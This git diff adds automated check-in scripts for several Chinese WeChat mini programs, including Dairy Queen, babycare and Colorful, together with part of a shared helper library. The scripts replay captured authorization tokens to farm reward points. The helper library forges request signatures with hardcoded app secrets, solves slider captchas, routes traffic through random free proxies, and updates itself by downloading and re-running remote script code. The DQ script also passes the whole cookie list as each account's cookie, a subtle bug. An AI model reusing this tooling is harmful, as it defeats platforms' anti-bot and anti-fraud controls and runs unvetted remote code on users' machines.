content}], + seed=1234, + top_p=0.8, + result_format='message', + enable_search=False, + max_tokens=1500, + temperature=1.0, + repetition_penalty=1.0, + ) + if response.status_code == HTTPStatus.OK: + # print(response) + video_info = response.output['choices'][0]['message']['content'] + print('通义生成【成功】!') + return video_info + else: + print(f"无法解析通义返回的信息:{response}") + return None + else: + print('dashscope 模块无法导入,函数无法执行。') + + +# 取环境变量,并分割 +def ENV_SPLIT(input_str): + parts = [] + if '&' in input_str: + amp_parts = input_str.split('&') + for part in amp_parts: + if '#' in part: + hash_parts = part.split('#') + for hash_part in hash_parts: + parts.append(hash_part) + else: + parts.append(part) + # print(parts) + return (parts) + + elif '#' in input_str: + hash_parts = input_str.split('#') + # print(hash_parts) + return (hash_parts) + else: + out_str = str(input_str) + # print([out_str]) + return ([out_str]) + + +# 使用导入的模块进行验证码识别 +def CAPCODE(captcha_slider, captcha_bg): + ddddocr = import_or_install('ddddocr') + if ddddocr: + slide = ddddocr.DdddOcr(det=False, ocr=False) + with open(captcha_slider, 'rb') as f: + target_bytes = f.read() + with open(captcha_bg, 'rb') as f: + background_bytes = f.read() + res = slide.slide_match(target_bytes, background_bytes, simple_target=True) + # print(res['target'][0]) + # print(type(res['target'][0])) + return res['target'][0] + else: + print('ddddocr 模块无法导入,函数无法执行。') + return False + + +def send_wxpusher(UID, one_msg, APP_NAME, help=False): + WXPUSHER = os.environ.get('WXPUSHER', False) + if WXPUSHER: + if help: + push_res = wxpusher(WXPUSHER, APP_NAME + '互助', one_msg, UID, TIPS_HTML) + else: + push_res = wxpusher(WXPUSHER, APP_NAME, one_msg, UID, TIPS_HTML) + print(push_res) + + +def wxpusher(UID, msg, title, help=False): + """利用 wxpusher 的 web api 发送 json 数据包,实现微信信息的发送""" + WXPUSHER = os.environ.get('WXPUSHER', False) + if WXPUSHER: + if help: title = title + '互助' + print('\n------开始wxpusher推送------') + print(f'标题:【{title}】\n内容:{msg}') + webapi = 'http://wxpusher.zjiecode.com/api/send/message' + msg = msg.replace("\n", "
") + # tips = TIPS_HTML.replace("\n", "
") + data = { + "appToken": WXPUSHER, + "content": f'{title}
{msg}
{TIPS_HTML}', + # "summary": msg[:99], # 该参数可选,默认为 msg 的前10个字符 + "summary": title, + "contentType": 2, + "uids": [UID], + "url": "https://gj.cherwin.cn" + } + try: + result = requests.post(url=webapi, json=data) + result.raise_for_status() # 对于非2xx状态码,抛出异常 + response_json = result.json() + if response_json["success"]: + return "------消息发送成功------\n" + else: + return f"消息发送失败。错误信息:{response_json['msg']}" + except requests.exceptions.RequestException as e: + return f"发送消息时发生错误:{str(e)}" + except Exception as e: + return f"发生意外错误:{str(e)}" + + +def RESTART_SCRIPT(RESTART_SCRIPT_NAME): + python = sys.executable + os.execl(python, RESTART_SCRIPT_NAME, *sys.argv[1:]) + + +def CHECK(): + global CHERWIN_SCRIPT_CONFIG + print('>>>>>>>开始获取版本信息...') + baseurl = 'https://py.cherwin.cn/' + TOOLS_NAME = 'CHERWIN_TOOLS.py' + server_script_url = f'https://github.com/CHERWING/CHERWIN_SCRIPTS/raw/main/{TOOLS_NAME}' + try: + response = requests.get(f'{baseurl}CHERWIN_SCRIPT_CONFIG.json', verify=False) + response.encoding = 'utf-8' + # 读取内容 + CHERWIN_SCRIPT_CONFIG = response.json() + if 'code' in CHERWIN_SCRIPT_CONFIG: + CHERWIN_SCRIPT_CONFIG = None + TOOLS_VERSION = CHERWIN_SCRIPT_CONFIG.get('TOOLS_VERSION', NOW_TOOLS_VERSION) + + if CHECK_UPDATE_NEW(NOW_TOOLS_VERSION, TOOLS_VERSION, server_script_url, TOOLS_NAME): + print('更新脚本完成') + # print(f'重新检测[{TOOLS_NAME}]版本') + return False + else: + return True + except: + print('获取CHERWIN_SCRIPT_CONFIG.json失败') + return False + + +def GJJJ_SIGN(): + app_id = "667516" + app_crypto = "FH3yRrHG2RfexND8" + timestamp = int(time.time() * 1000) + # timestamp = 1715180892075 + text = f"{app_id}{app_crypto}{timestamp}" + sign = hashlib.md5(text.encode()).hexdigest() + new_data = { + 'timestamp': str(timestamp), + "sign": sign + } + return new_data + + +def KWW_SIGN(memberId): + timestamp = int(time.time() * 1000) + random_num = random.randint(0, 31) + u = [ + "A", "Z", "B", "Y", "C", "X", "D", "T", "E", "S", "F", "R", "G", "Q", "H", "P", "I", "O", "J", "N", "k", + "M", "L", "a", "c", "d", "f", "h", "k", "p", "y", "n"] + r = f"{timestamp}{memberId}{u[random_num]}" + sign = hashlib.md5(r.encode()).hexdigest() + update_headers = { + "user-sign": sign, + "user-paramname": "memberId", + "user-timestamp": str(timestamp), + "user-random": str(random_num) + } + return update_headers + + +def TYQH_SIGN(parameters={}, body=None): + sorted_keys = sorted(parameters.keys()) + parameter_strings = [] + for key in sorted_keys: + if isinstance(parameters[key], dict): + parameter_strings.append(f"{key}={json.dumps(parameters[key])}") + else: + parameter_strings.append(f"{key}={parameters[key]}") + + current_time = int(datetime.now().timestamp() * 1000) + secret_chars = list('BxzTx45uIGT25TTHIIBU2') + last_three_digits = str(current_time)[-3:] + for digit in last_three_digits: + secret_chars.insert(int(digit), digit) + + secret = hashlib.md5(''.join(secret_chars).encode()).hexdigest() + nonce_str = ''.join(random.choices(string.ascii_letters + string.digits, k=16)) + + sign_data = { + 'client_id': 'game', + 'nonstr': nonce_str, + 'timestamp': current_time, + 'body': json.dumps(body) if body else '', + 'query': '&'.join(parameter_strings) if parameter_strings else '', + 'secret': secret + } + + sign_string = '|'.join([str(v) for v in sign_data.values()]) + sign = hashlib.md5(sign_string.encode()).hexdigest().upper() + sign_header = { + 'client_id': 'game', + 'timestamp': str(current_time), + 'nonstr': sign_data['nonstr'], + 'sign': sign + } + return sign_header + + +def YDXQ_SIGN(): + sign_nonce = "tnFWIEFpVPJkOuNX4zdsKeBEMIakLS1RsnS7cH0Id6MjEEBGO" + n = str(int(time.time())) + # 拼接字符串并使用md5哈希。注意在Python中,需要对字符串编码才能生成哈希。 + sign_string = f"sign_{n}_sign{sign_nonce}" + sign_hash = hashlib.md5(sign_string.encode()).hexdigest() + return sign_hash, n + + +def HXEK_SIGN(memberId, appid): + # appid = "wxa1f1fa3785a47c7d" + secret = 'damogic8888' + # 获取GMT+8的当前时间戳 + timestamp = time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()) + # timestamp = '2024-05-22 16:07:54' + # 生成随机数 + random_int = random.randint(1000000, 9999999) + # random_int = 4270745 + # 构建待加密字符串 + raw_string = f"timestamp={timestamp}transId={appid}{timestamp}secret={secret}random={random_int}memberId={memberId}" + # 使用MD5进行加密 + md5_hash = hashlib.md5(raw_string.encode()) + sign = md5_hash.hexdigest() + return sign, random_int, timestamp + + +def KPL_SIGN(url, params): + secret_key = "d19b9f22f5aac41ac0b56a1947f82bce" + # 提取URL路径(去掉域名部分) + url_path = url.replace("https://app.tv.kohesport.qq.com", "") + # 如果params是对象,转换为JSON字符串 + if isinstance(params, dict): + params_str = json.dumps(params, separators=(',', ':')) + else: + params_str = params + # 拼接路径、参数和密钥 + string_to_hash = f"{url_path}{params_str}{secret_key}" + # 计算SHA256哈希值 + signature = hashlib.sha256(string_to_hash.encode('utf-8')).hexdigest() + sign_header = { + "X-TGATV-SignatureMethod": "sha256", + "X-TGATV-SignatureVersion": "3", + "X-TGATV-Signature": signature + } + return sign_header + +def get_ip(): + response = requests.get('https://cdn.jsdelivr.net/gh/parserpp/ip_ports/proxyinfo.json',verify=False) + # 使用正则表达式提取 IP 地址和端口号 + data = response.text + lines = data.strip().split('\n') + # json_objects = [json.loads(line) for line in lines] + json_objects = [json.loads(line) for line in lines if json.loads(line)["country"] == "CN"] + # json_array = json.dumps(json_objects, indent=4) + if json_objects: + selected = random.choice(json_objects) + result = f"{selected['type']}://{selected['host']}:{selected['port']}" + + proxies = { + selected['type']: result, + } + print(f"当前代理:{result}") + return proxies + else: + print("没匹配到CN的ip") + return None + +def main(APP_NAME, local_script_name, ENV_NAME, local_version, need_invite=False): + global APP_INFO, TIPS, TIPS_HTML + git_url = f'https://github.com/CHERWING/CHERWIN_SCRIPTS/raw/main/{local_script_name}' + if CHECK(): + APP_INFO = CHERWIN_SCRIPT_CONFIG.get("APP_CONFIG", {}).get(ENV_NAME, {}) + # print(APP_INFO) + server_version = APP_INFO.get('NEW_VERSION', '') + if CHECK_UPDATE_NEW(local_version, server_version, git_url, local_script_name, APP_NAME=APP_NAME): + print('更新成功,请重新运行脚本!') + + if not APP_INFO.get('ENABLE', False) and not IS_DEV: + print('当前脚本未开放') + exit() + TIPS = APP_INFO.get('NTC', '') if APP_INFO.get('NTC', '') else CHERWIN_SCRIPT_CONFIG.get('GLOBAL_NTC', '') + TIPS_HTML = APP_INFO.get('NTC', '') if APP_INFO.get('NTC', '') else CHERWIN_SCRIPT_CONFIG.get('GLOBAL_NTC_HTML','') + ENV = os.environ.get(ENV_NAME) + if need_invite: + AuthorCode = get_AuthorInviteCode(f'https://yhsh.ziyuand.cn/{ENV_NAME}_INVITE_CODE.json') + else: + AuthorCode = '' + return ENV, APP_INFO, TIPS, TIPS_HTML, AuthorCode + else: + exit() + + +if __name__ == '__main__': + print(NOW_TOOLS_VERSION) diff --git a/脚本库/微信小程序/抓包版/DQ点单/2025-06-28_DQ点单_53161101.js b/脚本库/微信小程序/抓包版/DQ点单/2025-06-28_DQ点单_53161101.js new file mode 100644 index 0000000..711e1a8 --- /dev/null +++ b/脚本库/微信小程序/抓包版/DQ点单/2025-06-28_DQ点单_53161101.js @@ -0,0 +1,63 @@ +// # Source: https://gitee.com/jdqlscript/toulu/blob/main/DQ%E7%82%B9%E5%8D%95.js +// # Raw: https://gitee.com/jdqlscript/toulu/raw/main/DQ%E7%82%B9%E5%8D%95.js +// # Repo: jdqlscript/toulu +// # Path: DQ点单.js +// # UploadedAt: 2025-06-28T11:18:42+08:00 +// # SHA256: 5316110176df2c840df02f273bac74a7a52b8016fad19a4ec41d6a654fe2ec99 +// # Category: 微信小程序/抓包版 +// # Evidence: appid/openid/session_key/encryptedData等小程序字段 +// + +/* +微信小程序DQ点单安卓版 +抓包wechat.dairyqueen.com.cn域名下的cookie +变量名=dqdd +多账号用&分开或者添加多个变量名 +有问题联系3288588344 + 频道:https://pd.qq.com/s/672fku8ge + +长期套餐大额流量电话卡办理地址:https://hk.yunhaoka.cn/#/pages/micro_store/index?agent_id=669709 + +*/ + + +const axios = require('axios'); +const dqdd = process.env.dqdd.split('&'); + +const url = 'https://wechat.dairyqueen.com.cn/memSignIn/signIn'; + +async function fetchSignInfo(cookie, accountIndex) { + const headers = { + 'Host': 'wechat.dairyqueen.com.cn', + 'Connection': 'keep-alive', + 'Content-Length': '0', + 'charset': 'utf-8', + 'cookie': dqdd, + 'channel': '202', + 'User-Agent': 'Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/126.0.6478.122 Mobile Safari/537.36 XWEB/1260059 MMWEBSDK/20240501 MMWEBID/3628 MicroMessenger/8.0.50.2701(0x28003252) WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 MiniProgramEnv/android', + 'content-type': 'application/json', + 'Accept-Encoding': 'gzip,compress,br,deflate', + 'tenant': '1', + 'Referer': 'https://servicewechat.com/wx22e5ce7c766b4b78/149/page-frame.html' + }; + + try { + const response = await axios.post(url, {}, { headers: headers }); + if (response.data.code === 200 && response.data.message === 'success') { + console.log(`账号${accountIndex}签到成功`); + return { success: true, message: `账号${accountIndex}签到成功` }; + } else { + console.log(`账号${accountIndex}签到失败`); + return { success: false, message: `账号${accountIndex}签到失败` }; + } + } catch (error) { + console.error(error); + return { success: false, message: error.message }; + } +} + +dqdd.forEach((dqdd, index) => { + fetchSignInfo(dqdd, index + 1).then(result => { + console.log(result); + }); +}); diff --git a/脚本库/微信小程序/抓包版/KSOEUR/2025-06-28_KSOEUR_dff489d3.py b/脚本库/微信小程序/抓包版/KSOEUR/2025-06-28_KSOEUR_dff489d3.py new file mode 100644 index 0000000..f598a42 --- /dev/null +++ b/脚本库/微信小程序/抓包版/KSOEUR/2025-06-28_KSOEUR_dff489d3.py @@ -0,0 +1,190 @@ +# Source: https://gitee.com/jdqlscript/toulu/blob/main/KSOEUR.py +# Raw: https://gitee.com/jdqlscript/toulu/raw/main/KSOEUR.py +# Repo: jdqlscript/toulu +# Path: KSOEUR.py +# UploadedAt: 2025-06-28T11:18:42+08:00 +# SHA256: dff489d354c1462787fdedee1bd44f007984f36251621852b94afdd500410ad0 +# Category: 微信小程序/抓包版 +# Evidence: appid/openid/session_key/encryptedData等小程序字段 + +#入口:小程序KSOEUR女装 +#抓包域名smp-api.iyouke.com下Authorization值,多账号换行分割 +#by:哆啦A梦 + + +import os +import requests +from datetime import datetime + +# 获取公告信息 +def get_proclamation(): + primary_url = "https://github.com/3288588344/toulu/raw/refs/heads/main/tl.txt" + backup_url = "https://tfapi.cn/TL/tl.json" + try: + response = requests.get(primary_url, timeout=10) + if response.status_code == 200: + print("\n" + "=" * 45) + print("📢 公告信息") + print("=" * 45) + print(response.text) + print("=" * 45 + "\n") + print("公告获取成功,开始执行任务...\n") + return + except requests.exceptions.RequestException as e: + print(f"获取公告时发生错误: {e}, 尝试备用链接...") + + try: + response = requests.get(backup_url, timeout=10) + if response.status_code == 200: + print("\n" + "=" * 45) + print("📢 公告信息") + print("=" * 45) + print(response.text) + print("=" * 45 + "\n") + print("公告获取成功,开始执行任务...\n") + else: + print(f"⚠️ 获取公告失败,状态码: {response.status_code}") + except requests.exceptions.RequestException as e: + print(f"⚠️ 获取公告时发生错误: {e}, 可能是网络问题或链接无效。") + + +# 查询账号信息和积分,并处理返回值 +def get_account_info_and_points(authorization): + # 查询账号信息 + user_info_url = "https://smp-api.iyouke.com/dtapi/p/user/userInfo" + user_info_headers = { + "Host": "smp-api.iyouke.com", + "Authorization": authorization, + "Appid": "wx00796053aa93af0c", + "Version": "2.9.40", + "EnvVersion": "release", + "Xy-Extra-Data": "appid=wx00796053aa93af0c;version=2.9.40;envVersion=release;senceId=1007", + "Content-Type": "application/json; charset=utf-8", + "Accept-Encoding": "gzip, deflate, br" + } + try: + user_info_response = requests.get(user_info_url, headers=user_info_headers) + if user_info_response.status_code == 200: + user_info = user_info_response.json() + + else: + print(f"查询账号信息失败,状态码:{user_info_response.status_code}") + print(f"返回内容:{user_info_response.text}") + return None + except Exception as e: + print(f"查询账号信息时发生错误:{e}") + print(f"返回内容:{user_info_response.text}") if 'user_info_response' in locals() else print("无法获取返回内容") + return None + + # 查询积分 + points_url = "https://smp-api.iyouke.com/dtapi/points/user/centerInfo" + points_headers = { + "Host": "smp-api.iyouke.com", + "Authorization": authorization, + "Appid": "wx00796053aa93af0c", + "Version": "2.9.40", + "EnvVersion": "release", + "Xy-Extra-Data": "appid=wx00796053aa93af0c;version=2.9.40;envVersion=release;senceId=1007", + "Content-Type": "application/json; charset=utf-8", + "Accept-Encoding": "gzip, deflate, br" + } + try: + points_response = requests.get(points_url, headers=points_headers) + if points_response.status_code == 200: + points_info = points_response.json() + + else: + print(f"查询积分失败,状态码:{points_response.status_code}") + print(f"返回内容:{points_response.text}") + points_info = None + except Exception as e: + print(f"查询积分时发生错误:{e}") + print(f"返回内容:{points_response.text}") if 'points_response' in locals() else print("无法获取返回内容") + points_info = None + + # 处理并打印账号和积分信息 + mobile = user_info.get("userMobile", "") + nick_name = user_info.get("nickName", "") + print(f"账号:{mobile}(昵称:{nick_name})") + if points_info and points_info.get("success"): + points_balance = points_info.get("data", {}).get("pointsBalance", 0) + print(f"当前积分:{points_balance}") + else: + print("无法获取积分信息") + + return { + "mobile": mobile, + "nick_name": nick_name, + "points_balance": points_info.get("data", {}).get("pointsBalance", "查询失败") if points_info else "查询失败" + } + + +# 签到功能 +def check_in(authorization): + current_date = datetime.now().strftime("%Y-%m-%d") + formatted_date = current_date.replace('-', '%2F') + url = f"https://smp-api.iyouke.com/dtapi/pointsSign/user/sign?date={formatted_date}" + headers = { + "Host": "smp-api.iyouke.com", + "Authorization": authorization, + "Appid": "wx00796053aa93af0c", + "Version": "2.9.40", + "EnvVersion": "release", + "Xy-Extra-Data": "appid=wx00796053aa93af0c;version=2.9.40;envVersion=release;senceId=1007", + "Content-Type": "application/json; charset=utf-8", + "Referer": "https://servicewechat.com/wx00796053aa93af0c/52/page-frame.html", + "Accept-Encoding": "gzip, deflate, br" + } + try: + response = requests.get(url, headers=headers) + if response.status_code == 200: + + return response.json() + else: + print(f"签到失败,状态码:{response.status_code}") + print(f"返回内容:{response.text}") + return None + except Exception as e: + print(f"签到时发生错误:{e}") + print(f"返回内容:{response.text}") if 'response' in locals() else print("无法获取返回内容") + return None + + +# 主程序 +if __name__ == "__main__": + # 获取公告 + get_proclamation() + + # 从环境变量获取 authorization 值,支持多账号(换行分割) + tokens = os.getenv("KSOEUR", "").split("\n") + if not tokens or all(not token.strip() for token in tokens): + print("❌ 未找到环境变量 KSOEUR 或其值为空,任务终止。") + exit(1) + + # 遍历每个账号执行任务 + for token in tokens: + token = token.strip() + if not token: + continue + + print(f"\n{'=' * 45}") + print(f"正在执行任务中") + print(f"{'=' * 45}\n") + + account_data = get_account_info_and_points(token) + if account_data: + # 签到 + check_in_result = check_in(token) + if check_in_result and check_in_result.get("success"): + print(f"签到成功,获得奖励:{check_in_result.get('data', {}).get('signReward', 0)}") + else: + if check_in_result and check_in_result.get("errorMsg"): + print(f"签到失败,原因:{check_in_result.get('errorMsg')}") + else: + print("签到失败") + else: + print("跳过该账号。") + + print(f"\n{'-' * 45}\n") + + print("所有任务执行完成!") diff --git a/脚本库/微信小程序/抓包版/babycare/2026-05-14_babycare_46258113.js b/脚本库/微信小程序/抓包版/babycare/2026-05-14_babycare_46258113.js new file mode 100644 index 0000000..a34b50c --- /dev/null +++ b/脚本库/微信小程序/抓包版/babycare/2026-05-14_babycare_46258113.js @@ -0,0 +1,134 @@ +// # Source: https://github.com/smallfawn/QLScriptPublic/blob/main/daily/babycare.js +// # Raw: https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/babycare.js +// # Repo: smallfawn/QLScriptPublic +// # Path: daily/babycare.js +// # UploadedAt: 2026-05-14T17:47:57+08:00 +// # SHA256: 46258113afa13a0aa29d97ac2d6ba2b28ef58e8ff67ab1d7580a670ef603d5ba +// # Category: 微信小程序/抓包版 +// # Evidence: appid/openid/session_key/encryptedData等小程序字段 +// + +/* +------------------------------------------ +@Author: sm +@Date: 2024.06.07 19:15 +@Description: babycare +cron: 30 8 * * * +------------------------------------------ +#Notice: +微信小程序抓包的https://api.bckid.com.cn请求头authorization + +⚠️【免责声明】 +------------------------------------------ +1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。 +2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。 +3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。 +4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。 +5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。 +6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。 +7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。 +*/ + +const { Env } = require("../tools/env") +const $ = new Env("babycare"); +let ckName = `babycare`; +const strSplitor = "#"; +const axios = require("axios"); +const defaultUserAgent = "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.31(0x18001e31) NetType/WIFI Language/zh_CN miniProgram" + + +class Task { + constructor(env) { + this.index = $.userIdx++ + this.user = env.split(strSplitor); + this.token = this.user[0]; + + } + + async run() { + + await this.info() + await this.signIn() + } + + async signIn() { + let options = { + method: 'POST', + url: `https://api.bckid.com.cn/operation/front/bonus/userSign/v3/sign`, + headers: { + 'Host': 'api.bckid.com.cn', + 'authorization': this.token, + 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090b11) XWEB/9129', + }, + data: { + + } + }; + let { data: result } = await axios.request(options); + if (result?.code == '200') { + //打印签到结果 + $.log(`🌸账号[${this.index}]` + `🕊当前已签到${result.body.signDaysCountMod}天🎉`); + } else { + $.log(`🌸账号[${this.index}] 签到-失败:${result.message}❌`) + } + + + + + } + async info() { + let options = { + url: 'https://api.bckid.com.cn/operation/front/bonus/userBonus/getUserBonus', + headers: { + 'Host': 'api.bckid.com.cn', + 'authorization': this.token, + 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090b11) XWEB/9129', + }, + method: 'POST', + data: {} + } + let { data: result } = await axios.request(options); + if (result?.code == '200') { + //打印签到结果 + $.log(`🌸账号[${this.index}]` + `🕊账户当前积分[${result.body.userBonus}],历史积分[${result.body.sumBonus}]💰`); + } else { + $.log(`🌸账号[${this.index}]积分查询失败:${result.message}❌`) + } + } + + + + + + + +} + +!(async () => { + await getNotice() + $.checkEnv(ckName); + + for (let user of $.userList) { + await new Task(user).run(); + } +})() + .catch((e) => console.log(e)) + .finally(() => $.done()); + +async function getNotice() { + try { + let options = { + url: `https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json`, + headers: { + "User-Agent": defaultUserAgent, + }, + timeout:3000 + } + let { + data: res + } = await axios.request(options); + $.log(res) + return res + } catch (e) {} + +} \ No newline at end of file diff --git a/脚本库/微信小程序/抓包版/colorful七彩虹/2026-05-14_colorful_cf4ee821.js b/脚本库/微信小程序/抓包版/colorful七彩虹/2026-05-14_colorful_cf4ee821.js new file mode 100644 index 0000000..cba4f1e --- /dev/null +++ b/脚本库/微信小程序/抓包版/colorful七彩虹/2026-05-14_colorful_cf4ee821.js @@ -0,0 +1,231 @@ +// # Source: https://github.com/smallfawn/QLScriptPublic/blob/main/daily/colorful.js +// # Raw: https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/colorful.js +// # Repo: smallfawn/QLScriptPublic +// # Path: daily/colorful.js +// # UploadedAt: 2026-05-14T17:47:57+08:00 +// # SHA256: cf4ee821d1cebbbb8468b4a7c252b98a5e1b39d9a10f6089bdd659994878055c +// # Category: 微信小程序/抓包版 +// # Evidence: appid/openid/session_key/encryptedData等小程序字段 +// + +/* +------------------------------------------ +@Author: sm +@Date: 2024.06.07 19:15 +@Description: 七彩虹微信小程序 签到&点赞 +cron: 30 10 * * * +------------------------------------------ +#Notice: +变量名:colorful +抓取 +https://interface.skycolorful.com/api 请求头的authorization去掉Bearer # x-authorization去掉Bearer +多账户&或换行 + +⚠️【免责声明】 +------------------------------------------ +1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。 +2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。 +3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。 +4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。 +5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。 +6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。 +7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。 +*/ + +const { Env } = require("../tools/env") +const $ = new Env("colorful七彩虹"); +let ckName = `colorful`; +const strSplitor = "#"; +const axios = require("axios"); +const defaultUserAgent = "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.31(0x18001e31) NetType/WIFI Language/zh_CN miniProgram" + + +class Task { + constructor(env) { + this.index = $.userIdx++ + this.user = env.split(strSplitor); + this.token = this.user[0]; + this.token2 = this.user[1]; + this.signStatus = false; + this.expireFlag = false; + } + + async run() { + await this.getTokenExpireTime() + await this.getUserInfo() + await this.getSignInfo() + + if (this.signStatus) { + $.log(`账号[${this.index}]已签到`) + return + } + await this.signInV2() + } + async getTokenExpireTime() { + let options = { + method: 'POST', + url: `https://interface.skycolorful.com/api/User/RefreshLoginTime`, + headers: { + "accept": "*/*", + "accept-language": "zh-CN,zh;q=0.9", + "content-type": "application/json", + "sec-fetch-dest": "empty", + }, + data: { "phone": "" } + } + let { data: result } = await this.request(options); + if (result.Code != 0) { + this.expireFlag = true + } + + } + async refreshToken(DATA) { + let options = { + method: 'POST', + url: `https://interface.skycolorful.com/api/User/DecryptPhoneNumber`, + headers: { + "accept": "*/*", + "accept-language": "zh-CN,zh;q=0.9", + "content-type": "application/json", + "sec-fetch-dest": "empty", + }, + data: DATA + } + let { data: result } = await this.request(options); + if (result.Code != 0) { + this.expireFlag = true + } else { + this.token = result.Data.Token + } + } + MD5(str) { + const crypto = require('crypto'); + return crypto.createHash('md5').update(str).digest('hex'); + } + request(options) { + let appid = "815d8026-9a52-4445-a42c-a5443134232e" + let uuid = $.uuid() + let timestamp = Date.now() + let sign = this.MD5(appid + timestamp + uuid + '2b5c01fb-7640-401a-8188-43a13190a626') + let baseHeaders = { + "User-Agent": defaultUserAgent, + "requestid": uuid, + "appid": appid, + "ticks": "" + timestamp, + "sign": sign, + "authorization": "Bearer " + this.token, + "x-authorization": "Bearer " + this.token2, + "source": "Wx", + "ucsource": "30", + "user-from": "xcx", + + + } + options.headers = Object.assign(baseHeaders, options.headers) + return axios.request(options) + } + + async signInV2() { + let options = { + method: 'POST', + url: `https://interface.skycolorful.com/api/User/SignV2`, + headers: { + "accept": "*/*", + "accept-language": "zh-CN,zh;q=0.9", + "content-type": "application/json", + "sec-fetch-dest": "empty", + "sec-fetch-mode": "cors", + "sec-fetch-site": "cross-site", + "xweb_xhr": "1" + }, + data: { + + } + }; + let { data: result } = await this.request(options); + if (result?.Code == '0') { + //打印签到结果 + $.log(`🌸账号[${this.index}]` + `🕊签到${result.Message}🎉`); + } else { + $.log(`🌸账号[${this.index}] 签到-失败:${result.Message}❌`) + } + + + + + } + async getSignInfo() { + let options = { + method: 'GET', + url: `https://interface.skycolorful.com/api/User/IsSignV2`, + headers: { + "accept": "*/*", + "accept-language": "zh-CN,zh;q=0.9", + "content-type": "application/json", + "sec-fetch-dest": "empty", + "sec-fetch-mode": "cors", + } + } + let { data: result } = await this.request(options); + if (result?.Code == '0') { + //打印签到结果 + this.signStatus = result.Data.IsSign + + } else { + } + } + async getUserInfo() { + let options = { + method: 'GET', + url: `https://interface.skycolorful.com/api/User/GetUserInfo`, + headers: { + "accept": "*/*", + "accept-language": "zh-CN,zh;q=0.9", + "content-type": "application/json", + "sec-fetch-dest": "empty", + } + } + let { data: result } = await this.request(options); + if (result?.Code == '0') { + //打印签到结果 + $.log(`🌸账号[${this.index}]` + `昵称:${result.Data.NickName}` + `积分:${result.Data.Point}`) + } + } +} + + + + + + + + + +!(async () => { + await getNotice() + $.checkEnv(ckName); + + for (let user of $.userList) { + await new Task(user).run(); + } +})() + .catch((e) => console.log(e)) + .finally(() => $.done()); + +async function getNotice() { + try { + let options = { + url: `https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json`, + headers: { + "User-Agent": defaultUserAgent, + }, + timeout: 3000 + } + let { + data: res + } = await axios.request(options); + $.log(res) + return res + } catch (e) { } + +} diff --git a/脚本库/微信小程序/抓包版/golo汽修大师/2025-08-25_golo_6d8c719f.js b/脚本库/微信小程序/抓包版/golo汽修大师/2025-08-25_golo_6d8c719f.js new file mode 100644 index 0000000..6776f70 --- /dev/null +++ b/脚本库/微信小程序/抓包版/golo汽修大师/2025-08-25_golo_6d8c719f.js @@ -0,0 +1,708 @@ +// # Source: https://github.com/imoki/sign_script/blob/main/polymerization/golo.js +// # Raw: https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/golo.js +// # Repo: imoki/sign_script +// # Path: polymerization/golo.js +// # UploadedAt: 2025-08-25T21:29:14+08:00 +// # SHA256: 6d8c719f794ba28ac9f4e910cbcb6a4ad51d2898b88417781747992f35518128 +// # Category: 微信小程序/抓包版 +// # Evidence: appid/openid/session_key/encryptedData等小程序字段 +// + +/* + name: "golo汽修大师" + cron: 45 0 9 * * * + 脚本兼容: 金山文档(1.0),金山文档(2.0) + 更新时间:20241226 + 环境变量名:无 + 环境变量值:无 + 备注:需要用户名和密码。 + golo汽修大师app或网页的密码。 + 使用此脚本时app会自动退出登录,网站和app的积分是互通的。 + golo汽修大师网址:https://cicp.cnlaunch.com +*/ + +var sheetNameSubConfig = "golo"; // 分配置表名称 +var pushHeader = "【golo汽修大师】"; +var sheetNameConfig = "CONFIG"; // 总配置表 +var sheetNamePush = "PUSH"; // 推送表名称 +var sheetNameEmail = "EMAIL"; // 邮箱表 +var flagSubConfig = 0; // 